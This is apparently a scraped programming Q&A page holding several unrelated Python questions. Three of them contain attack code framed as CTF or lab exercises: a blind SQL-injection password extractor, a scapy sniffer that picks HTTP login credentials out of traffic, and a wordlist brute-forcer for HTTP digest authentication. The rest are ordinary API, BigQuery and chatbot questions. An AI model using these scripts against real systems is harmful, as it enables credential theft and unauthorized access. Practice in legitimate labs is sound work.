How can I pass a .txt file to arguments in Python? - python-3.x

I'm trying to find a way to be able to pass a .txt file to the users argument. I've tried using (fromfile_prefix_chars='#') but without any luck. (It read the file but it doesn't read the whole list) It'll only work if there's only 1 username in the list.
I want it to read the first username in the list, get the password and then switch to the next username in the list.
This is for a ctf i'm working on.
Thank you!
import requests
import argparse
import pyfiglet
from pyfiglet import Figlet
custom_fig = Figlet(font='aquaplan')
print(custom_fig.renderText('XCRACKER'))
from argparse import ArgumentParser
parser = ArgumentParser(fromfile_prefix_chars='#')
parser.add_argument("-t", "--url", help="target")
parser.add_argument("-p", "--proxy", help="Proxy with port")
parser.add_argument("-u", "--users", help="User name list")
args = parser.parse_args()
print( "url {} proxy {} users {} ".format(
args.url,
args.proxy,
args.users,
))
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!##$%^&*()"
for user in args.users:
data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"}
request = requests.post(args.url, data=data, proxies={'http':args.proxy})
length = len(request.text)
p4ss = ''
for i in range(1,25):
for l in letters:
data = {"Username": '', "Password": "' or username= '" + "{}".format(args.users) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)}
request1 = requests.post(args.url, data=data, proxies={'http':args.proxy})
if "{}#".format(args.users) in request1.text and len(request1.text) != 6756:
print("Positive response for user '{}' , the letter is: '{}' trying the next one...".format(args.users, l))
p4ss += l
print(str(i))
print(str(p4ss))
pass

Related

How to automate an API to change the URL every hour and append the new data to a csv

I have successfully implemented an API that generates a unique URL to grab data from a database and downloads it into a csv. I am now attempting to automate this API so that it can generate the unique URL every hour and then append the csv file with the new data. I have no idea where to begin to automate this but the working API is pasted below so any help would be truly appreciated. Thank you.
import os
import sys
from datetime import datetime
from os.path import expanduser
import urllib.request
def main():
# API parameters
options = {}
options["url"] = "https://airnowapi.org/aq/data/"
options["start_date"] = "2020-01-01"
options["start_hour_utc"] = "01"
options["end_date"] = "2020-01-01"
options["end_hour_utc"] = "05"
options["parameters"] = "pm25"
options["bbox"] = "-76,38,-72,42"
options["data_type"] = "b"
options["format"] = "text/csv"
options["ext"] = "csv"
options["api_key"] = "" #NotIncludedforProtectionOfUniqueAPIkey
# API request URL
REQUEST_URL = options["url"] \
+ "?startdate=" + options["start_date"] \
+ "t" + options["start_hour_utc"] \
+ "&enddate=" + options["end_date"] \
+ "t" + options["end_hour_utc"] \
+ "&parameters=" + options["parameters"] \
+ "&bbox=" + options["bbox"] \
+ "&datatype=" + options["data_type"] \
+ "&format=" + options["format"] \
+ "&api_key=" + options["api_key"]
try:
# Request AirNowAPI data
print("Requesting AirNowAPI data...")
print(REQUEST_URL)
# User's home directory.
home_dir = expanduser("E:\SPRING2021\AIRNOWAPI\AIRNOWFILES")
download_file_name = "AirNowAPI" + datetime.now().strftime("_%Y%M%d%H%M%S." + options["ext"])
download_file = os.path.join(home_dir, download_file_name)
# Perform the AirNow API data request
api_data = urllib.request.URLopener()
api_data.retrieve(REQUEST_URL, download_file)
# Download complete
print ("Download URL: %s" % REQUEST_URL)
print("Download File: %s" % download_file)
except Exception as e:
print("Unable perform AirNowAPI request. %s" % e)
sys.exit(1)
if __name__ == "__main__":
main()
I find most of your code is well documented. There are many ways to automated your task. Here are the steps I would recommend you to do.
Create a Config file.
Try to separate your code from config(All the options data). You can even pickle it.
Make your code command line executable like python main.py config.yml, where you can pass config.file.
Checkpoint: Here your code should be one/multiple file and config is in another file.
Use a cronjob or any scheduler to trigger & step 3.
Shared Variables/Data?: If you have variables that need to be passed from first execution to another then you can use a static file, where you dump this data and using it for next interation

scapy sniff with special characters

Hi i have written below program, it is sniffing packets and i could see username and passwords and URLs, but when i enter password with special character i am getting like this "%21" can somebody please help...
#!/bin/python3
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
return url
def get_login_info(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
#load = str(load)
keybword = ["usr", "uname", "username", "pwd", "pass", "password"]
for eachword in keybword:
if eachword.encode() in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request>>" + str(url))
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username and password >>" + str(login_info) + "\n\n")
sniff("eth0")
root#kali:~/python_course_by_zaid# ./packet_sniffer.py
[+] HTTP Request>>b'testing-ground.scraping.pro/login?mode=login'
[+] Possible username and password >>b"b'usr=admin&pwd=123456%21%40
it supposed to print 123456!#
The problem is that the password is URL-encoded. Essentially some characters cannot be put into the URL like ! and #, so they are escaped with a %.
If you URL-decode these strings prior to printing them, you'll get the expected result. In Python3, you can decode like so:
# script.py
import urllib.parse
result = urllib.parse.unquote("123456%21%40")
print(result)
Running it we get:
$ python script.py
123456!#

How can I return a string from a Google BigQuery row iterator object?

My task is to write a Python script that can take results from BigQuery and email them out. I've written a code that can successfully send an email, but I am having trouble including the results of the BigQuery script in the actual email. The query results are correct, but the actual object I am returning from the query (results) always returns as a Nonetype.
For example, the email should look like this:
Hello,
You have the following issues that have been "open" for more than 7 days:
-List issues here from bigquery code
Thanks.
The code reads in contacts from a contacts.txt file, and it reads in the email message template from a message.txt file. I tried to make the bigquery object into a string, but it still results in an error.
from google.cloud import bigquery
import warnings
warnings.filterwarnings("ignore", "Your application has authenticated using end user credentials")
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from string import Template
def query_emailtest():
client = bigquery.Client(project=("analytics-merch-svcs-thd"))
query_job = client.query("""
select dept, project_name, reset, tier, project_status, IssueStatus, division, store_number, top_category,
DATE_DIFF(CURRENT_DATE(), in_review, DAY) as days_in_review
from `analytics-merch-svcs-thd.MPC.RESET_DETAILS`
where in_review IS NOT NULL
AND IssueStatus = "In Review"
AND DATE_DIFF(CURRENT_DATE(), in_review, DAY) > 7
AND ready_for_execution IS NULL
AND project_status = "Active"
AND program_name <> "Capital"
AND program_name <> "SSI - Capital"
LIMIT 50
""")
results = query_job.result() # Waits for job to complete.
return results #THIS IS A NONETYPE
def get_queryresults(results): #created new method to put query results into a for loop and store it in a variable
for i,row in enumerate(results,1):
bq_data = (i , '. ' + str(row.dept) + " " + row.project_name + ", Reset #: " + str(row.reset) + ", Store #: " + str(row.store_number) + ", " + row.IssueStatus + " for " + str(row.days_in_review)+ " days")
print (bq_data)
def get_contacts(filename):
names = []
emails = []
with open(filename, mode='r', encoding='utf-8') as contacts_file:
for a_contact in contacts_file:
names.append(a_contact.split()[0])
emails.append(a_contact.split()[1])
return names, emails
def read_template(filename):
with open(filename, 'r', encoding='utf-8') as template_file:
template_file_content = template_file.read()
return Template(template_file_content)
names, emails = get_contacts('mycontacts.txt') # read contacts
message_template = read_template('message.txt')
results = query_emailtest()
bq_results = get_queryresults(query_emailtest())
import smtplib
# set up the SMTP server
s = smtplib.SMTP(host='smtp-mail.outlook.com', port=587)
s.starttls()
s.login('email', 'password')
# For each contact, send the email:
for name, email in zip(names, emails):
msg = MIMEMultipart() # create a message
# bq_data = get_queryresults(query_emailtest())
# add in the actual person name to the message template
message = message_template.substitute(PERSON_NAME=name.title())
message = message_template.substitute(QUERY_RESULTS=bq_results) #SUBSTITUTE QUERY RESULTS IN MESSAGE TEMPLATE. This is where I am having trouble because the Row Iterator object results in Nonetype.
# setup the parameters of the message
msg['From']='email'
msg['To']='email'
msg['Subject']="This is TEST"
# body = str(get_queryresults(query_emailtest())) #get query results from method to put into message body
# add in the message body
# body = MIMEText(body)
#msg.attach(body)
msg.attach(MIMEText(message, 'plain'))
# query_emailtest()
# get_queryresults(query_emailtest())
# send the message via the server set up earlier.
s.send_message(msg)
del msg
Message template:
Dear ${PERSON_NAME},
Hope you are doing well. Please find the following alert for Issues that have been "In Review" for greater than 7 days.
${QUERY_RESULTS}
If you would like more information, please visit this link that contains a complete dashboard view of the alert.
ISE Services
The BQ result() function returns a generator, so I think you need to change your return to yield from.
I'm far from a python expert, but the following pared-down code worked for me.
from google.cloud import bigquery
import warnings
warnings.filterwarnings("ignore", "Your application has authenticated using end user credentials")
def query_emailtest():
client = bigquery.Client(project=("my_project"))
query_job = client.query("""
select field1, field2 from `my_dataset.my_table` limit 5
""")
results = query_job.result()
yield from results # NOTE THE CHANGE HERE
results = query_emailtest()
for row in results:
print(row.field1, row.field2)

cant get encoding to work in python 3

I have created a program and from what I understand from the error shown below and from other posts on Stack, I need to encode the object before it can be hashed.
I have tried several ways to do this but still keep getting the same error message. provided below is my code and also a list of changes I have tried.
I understand what needs to be done but I guess I'm putting the code in the wrong place or the syntax is wrong as what I am trying isn't working.
any help is much appreciated.
Error Message
ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()
TypeError: Unicode-objects must be encoded before hashing
Code
import sys
import requests
import hashlib
realm = "Pentester Academy"
lines = [line.rstrip('\n') for line in open('wordl2.txt')]
print (lines)
for user in ['nick', 'admin']:
get_response = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1")
test_creds = get_response
print (test_creds)
for password in lines:
# not the correct way but works for this challenge
snounce = test_creds.headers.get('www-authenticate').split('"')
uri = "/lab/webapp/digest2/1"
# create the HTTP Digest
ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()
ha2 = hashlib.md5("GET:" + uri).hexdigest()
response = hashlib.md5(ha1 + ':' + snounce + ':' + ha2).hexdigest()
header_string = 'Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"' % (user, realm, snounce, uri, response)
headers = { 'Authorization' : header_string }
test_creds = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1", headers = headers)
if test_creds.status_code == 200:
print ("CRACKED: %s:%s" % (user,password))
break
elif test_creds.status_code == 401:
print ("FAILED: %s:%s" % (user,password))
else:
print ("unexpected Status code: %d " % test_creds.status_code)
Attempted Changes
password.encode(utf-8)
----------------------
hashlib.md5().update(password.encode(lines.encoding))
---------------
lines = [line.rstrip('\n') for line in open('wordl2.txt', "rb")]
I have managed to solve my own problem using the line
pass2 = str.encode(password)
just inside the password for loop

Passing input into Curl command inside python3

I'm currently working with errbot, but i'm having trouble with allowing users to enter a message to be passed along with the curl command. my plugin looks as follows:
#arg_botcmd('team_key', type=str)
#arg_botcmd('--message' , dest='message', type=str)
def oncall_page(self, msg, team_key=None, message=None):
if team_key in page_list.keys():
team_id = page_list[team_key]
data = {"message_type":"CRITICAL","state_message":"{0}".format(message)}
response = requests.post('https://www.apiurl.com/{0}'.format( team_id), data)
yield "Paging {0} ".format( team_id )
My issue is with this line:
data = {"message_type":"CRITICAL","state_message":"{0}".format(message)}
This seems to be crashing the command completely, I'm hoping users can execute one command such as "!oncall page team_name --message "
Any help would be appreciated:)
#arg_botcmd('team_key', type=str)
#arg_botcmd('--message' , dest='message', type=str)
def oncall_page(self, msg, team_key=None, message=None):
if team_key in page_list.keys():
team_id = page_list[team_key]
text = str(message)
msg_type = "critical"
data = '{"message_type":"%s", "state_message":"%s"}' % (msg_type, text)
# data = '{"message_type":"critical", "state_message":"%s"}'(text)
URL = 'https://www.apiurl.com/{0}'.format( team_id)
response = requests.post(URL , data)
This is the fix for this!

Resources